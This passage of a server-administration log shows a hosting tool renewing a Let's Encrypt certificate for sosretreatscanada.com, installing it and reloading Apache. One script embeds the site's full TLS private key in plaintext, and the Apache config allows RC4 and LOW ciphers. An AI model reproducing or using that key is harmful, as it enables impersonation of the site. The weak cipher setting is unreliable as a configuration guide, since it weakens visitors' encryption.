k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-10 06:00:43: Establishing a connection
2026-04-10 06:00:43: Establishing a connection
2026-04-10 06:00:43: 

PUT: /tmp/pkp496273

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-10 06:00:44: 

chmod 755 /tmp/pkp496273; /tmp/pkp496273; rm /tmp/pkp496273

2026-04-10 06:00:44: 


1


2026-04-10 06:00:45: Establishing a connection
2026-04-10 06:00:45: 

PUT: /tmp/pkp523067

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > dkoJ32wdhiqYpNn1aLlmqgGTYOiAf1Nukhuldqkc0cE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dkoJ32wdhiqYpNn1aLlmqgGTYOiAf1Nukhuldqkc0cE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dkoJ32wdhiqYpNn1aLlmqgGTYOiAf1Nukhuldqkc0cE
cat > VyUhj6G8Awpryf9CjhopamD3DMeHb4qsS2vJl0t2uMU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VyUhj6G8Awpryf9CjhopamD3DMeHb4qsS2vJl0t2uMU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VyUhj6G8Awpryf9CjhopamD3DMeHb4qsS2vJl0t2uMU
cat > WnMLQN8SO3mZYn7hIckwMWnUWkgLlr5gQ1bROVlx0w4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WnMLQN8SO3mZYn7hIckwMWnUWkgLlr5gQ1bROVlx0w4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WnMLQN8SO3mZYn7hIckwMWnUWkgLlr5gQ1bROVlx0w4
cat > MwQz8KJOMxiXOn0vGv74dKBZ3VHXwHNZMI_P8gQjsf0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
MwQz8KJOMxiXOn0vGv74dKBZ3VHXwHNZMI_P8gQjsf0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 MwQz8KJOMxiXOn0vGv74dKBZ3VHXwHNZMI_P8gQjsf0
cat > vA0jtYSDg81iK0HBrg60Swa-DQ9cHCaJuvMHSsVFHXE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vA0jtYSDg81iK0HBrg60Swa-DQ9cHCaJuvMHSsVFHXE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vA0jtYSDg81iK0HBrg60Swa-DQ9cHCaJuvMHSsVFHXE
cat > TwTnhb4GVIUID8XmxNkLhV55Y3cJTjtvvsxe0Dyx6_4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TwTnhb4GVIUID8XmxNkLhV55Y3cJTjtvvsxe0Dyx6_4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TwTnhb4GVIUID8XmxNkLhV55Y3cJTjtvvsxe0Dyx6_4


2026-04-10 06:00:45: 

chmod 755 /tmp/pkp523067; /tmp/pkp523067; rm /tmp/pkp523067

2026-04-10 06:00:45: 




2026-04-10 06:01:38: Establishing a connection
2026-04-10 06:01:39: 

PUT: /tmp/pkp862807

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm dkoJ32wdhiqYpNn1aLlmqgGTYOiAf1Nukhuldqkc0cE
rm VyUhj6G8Awpryf9CjhopamD3DMeHb4qsS2vJl0t2uMU
rm WnMLQN8SO3mZYn7hIckwMWnUWkgLlr5gQ1bROVlx0w4
rm MwQz8KJOMxiXOn0vGv74dKBZ3VHXwHNZMI_P8gQjsf0
rm vA0jtYSDg81iK0HBrg60Swa-DQ9cHCaJuvMHSsVFHXE
rm TwTnhb4GVIUID8XmxNkLhV55Y3cJTjtvvsxe0Dyx6_4


2026-04-10 06:01:39: 

chmod 755 /tmp/pkp862807; /tmp/pkp862807; rm /tmp/pkp862807

2026-04-10 06:01:39: 




2026-04-10 06:01:39: Establishing a connection
2026-04-10 06:01:39: 

PUT: /tmp/pkp196054

#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt

cat > $temp_file <<'endmsg'
f7:01:91:13:67:7a:17:79:6f:68:70:8f:02:0c:2f:a3

-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBnTJ6FSIZwS9Zi9lJid81TSOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMzA4WhcNMjYwNzA5MDUwMzA3WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU6DdWHzKNIQbhbO+OzWD8FuInoCidrmBwUkopm5Qf+GdcYWUJfAwf
TlRLdEej8tMKQdKtOjurVQHk7pVIEFT9w8DzyS8YFe640Yh+ICN3HsnHaqNdw8Rq
OubCrucbUpQYuvLiWKASWlwVGNd8pWhaPy8HSHDjEeexCeIh7Uob3nX0OABQ3nOp
eTtGRtejUMSsvEeiKCmDqbKDS6VAHA1NWJmeFb5YHWFBmy9avinNPbP/RyK+0rIR
u1Ypx5+jT2vzZhg0cOIz5CY4hm/U0498HjTtyyjOCbw4vFhal5VyvVryBvW0b6sR
tue8r5nocz3gxJywBw4ctTWq6kzFxZ7rAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUAZf+rWSzW0dD2Auqk0wVp9ZaifYwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzCBkQYDVR0RBIGJMIGGgg5zb3NyZXRyZWF0cy5jYYIUc29z
cmV0cmVhdHNjYW5hZGEuY2GCFXNvc3JldHJlYXRzY2FuYWRhLmNvbYISd3d3LnNv
c3JldHJlYXRzLmNhghh3d3cuc29zcmV0cmVhdHNjYW5hZGEuY2GCGXd3dy5zb3Ny
ZXRyZWF0c2NhbmFkYS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNS5jcmwwggEOBgorBgEE
AdZ5AgQCBIH/BIH8APoAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z
2AAAAZ11+1MYAAAEAwBIMEYCIQDZw9TmiiKuc/bcyXlkmgYaXImd/+RIr4XiLz5m
c/uZiwIhAL/k8YSV5xGR5tYC1TGG+iR2PKd2vbfhb9iMyVHm7aYeAH8AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGddftTwgAIAAAFAAZOz58EAwBI
MEYCIQDCxMF1g+ECrXOErozjEOaqPoRi35RY3UTOLlh5Aub8fgIhALMPY3lO3pix
39DW67Xerdf6wopp5t4enoqu6O6SWNuTMA0GCSqGSIb3DQEBCwUAA4IBAQA46rb+
TRfY8rjU3hCvC69XPGhoGcBc+l0h75f2e4Mj4jZ0hSiUpqjkKJ2AxWTXDOGS2zMl
M0kTxPTZMVg9RWLZ531EYNqAXZroESablXq2rHL774WZ2iq5VtDlLpMPd0g1ISOx
Lh+y/DRb2CCTEWLT7Grkgid3LNEH88faps0dTiCHHNwr3Xr5GSkECl6Wb2sBnSeH
nW5vm4xvBEF0ifq+zw8n4M143AIInv9xTGvfcM/Hi+Ze6IKl5DVH+U1nPpR09bTi
eaqEoufMWZtGpLRQRHzNqCr8xktkSMlDe/c145FqKvS3wyCjThnCOpq1uLxDj3f6
qG7ZCciEkqzG3i32
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDU6DdWHzKNIQbh
bO+OzWD8FuInoCidrmBwUkopm5Qf+GdcYWUJfAwfTlRLdEej8tMKQdKtOjurVQHk
7pVIEFT9w8DzyS8YFe640Yh+ICN3HsnHaqNdw8RqOubCrucbUpQYuvLiWKASWlwV
GNd8pWhaPy8HSHDjEeexCeIh7Uob3nX0OABQ3nOpeTtGRtejUMSsvEeiKCmDqbKD
S6VAHA1NWJmeFb5YHWFBmy9avinNPbP/RyK+0rIRu1Ypx5+jT2vzZhg0cOIz5CY4
hm/U0498HjTtyyjOCbw4vFhal5VyvVryBvW0b6sRtue8r5nocz3gxJywBw4ctTWq
6kzFxZ7rAgMBAAECggEAXjHbAaRN1jitdaCfoBtndECfkA6Aybpzel4954iokThy
amHAtOCH8HXUP4nThEqTai9TCUcBTT0P2Hxh2X84SwmHXZQ93LcfZe92Ju8LIdGi
TjL00jAhvyoOHEYLg4AWe5aCjPfO4i/OG5thAwmfUIYxxVQcdanfSulnfcEhD5Cf
FwavaDeg7v0lln4cAT3CjdrhnV30WBszxHroOXXj1cTFJP27X80tsGW+Z1HFQ4kH
7G0YQ/OXFP9Cp8d+DIkecqOWYKVKeAaV2ETQ4CdsyGu4SAE+VdbDaTJzksFK3XN3
K5Onj4q18at9ToAYmMD03kBqDshWNHGDnMog/tMywQKBgQDuzl2xyGrSNNdPvmIT
iibMmyO2kjyAldllcqlvWPVLlDaekZnojIj8CZrwS9E/ba5zlwNg8kIo/7oibcv0
+bBH4Q+dfnx3oLmqW6rNGwP2aBbDoYzWIyAssSXE4IIlAKkREA5k2/cwTigQ0NU4
UtjHMYQhhFxfPCcdkpWDVC3QCwKBgQDkPHvXHsRWE3eq7C+mbezq4+kKMgN3OHV+
qS+TdjVbgvg6g7aN52d1sFQ9SHjXyQnQL255mB73YENMw7UNjqNul2jqFD5k9zDA
7yMfqHEA4ihnfbnZFMyJhHI8zLmzBze23mxXN10NUuCG0t83+6LxYYAQzff/7inG
/PjZ7ZZYoQKBgCX7vPtiHVuB/B068u6YssMoie2oJOdu7j0sl7aWN63lzSo7jndm
owMzo+lEpeuozm6kPm1VGyDaTAjd3esBLADC03EBhVqhveZS3j/xZBf1RmmncHc+
7wcsxg0iiJDKIhoMq71vH0oXpFfIX6Gty70jKxkJrIeZUb9qaU2SPhcxAoGAUM5F
PjWLZ7o+vQogGLmEjukgIdbxOS2JE84MpRXN8FdfUUA+yuDp1VYXjRbyiduImOei
InTESesQCMalfGZK4KXEpFOEf7Sw0y4Xbmbxk1F+4p01xnDBtdJpq7MD8CmXBSyc
iQh17niwO6u/EhAKcZGGiOyTaE5HBkecR3QBreECgYBunxZUu8DV1vat0iMWXcEa
Mo/7swT8C/drKtEZgsvS2dyBgESIT6mTI79k4gU/wFeo4K63J2PFZZPU29/cWwwn
p+7KmZH5iT+2dJZGq2rjum/5SJc0rvy6rvYds9s9buGlO9BcPzuVxTxGshduc8Rw
Y0zrwt4eqds9ZhEVfoL2Ew==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-10 06:01:39: 

chmod 755 /tmp/pkp196054; /tmp/pkp196054; rm /tmp/pkp196054

2026-04-10 06:01:39: 


dir=/etc/ssl/certs


2026-04-10 06:01:39: 

PUT: /tmp/pkp259839

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-10 06:01:39: 

chmod 755 /tmp/pkp259839; /tmp/pkp259839; rm /tmp/pkp259839

2026-04-10 06:01:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-10 06:01:39: 

PUT: /tmp/pkp351860

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi


2026-04-10 06:01:39: 

chmod 755 /tmp/pkp351860; /tmp/pkp351860; rm /tmp/pkp351860

2026-04-10 06:01:39: 




2026-04-10 06:01:39: 

PUT: /tmp/pkp583572

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-10 06:01:39: 

chmod 755 /tmp/pkp583572; /tmp/pkp583572; rm /tmp/pkp583572

2026-04-10 06:01:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:01:40: Establishing a connection
2026-04-10 06:01:40: 

PUT: /tmp/pkp735376

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-10 06:01:40: 

chmod 755 /tmp/pkp735376; /tmp/pkp735376; rm /tmp/pkp735376

2026-04-10 06:01:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:01:40: 

PUT: /tmp/pkp263072

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:01:40: 

chmod 755 /tmp/pkp263072; /tmp/pkp263072; rm /tmp/pkp263072

2026-04-10 06:01:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf	1691

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
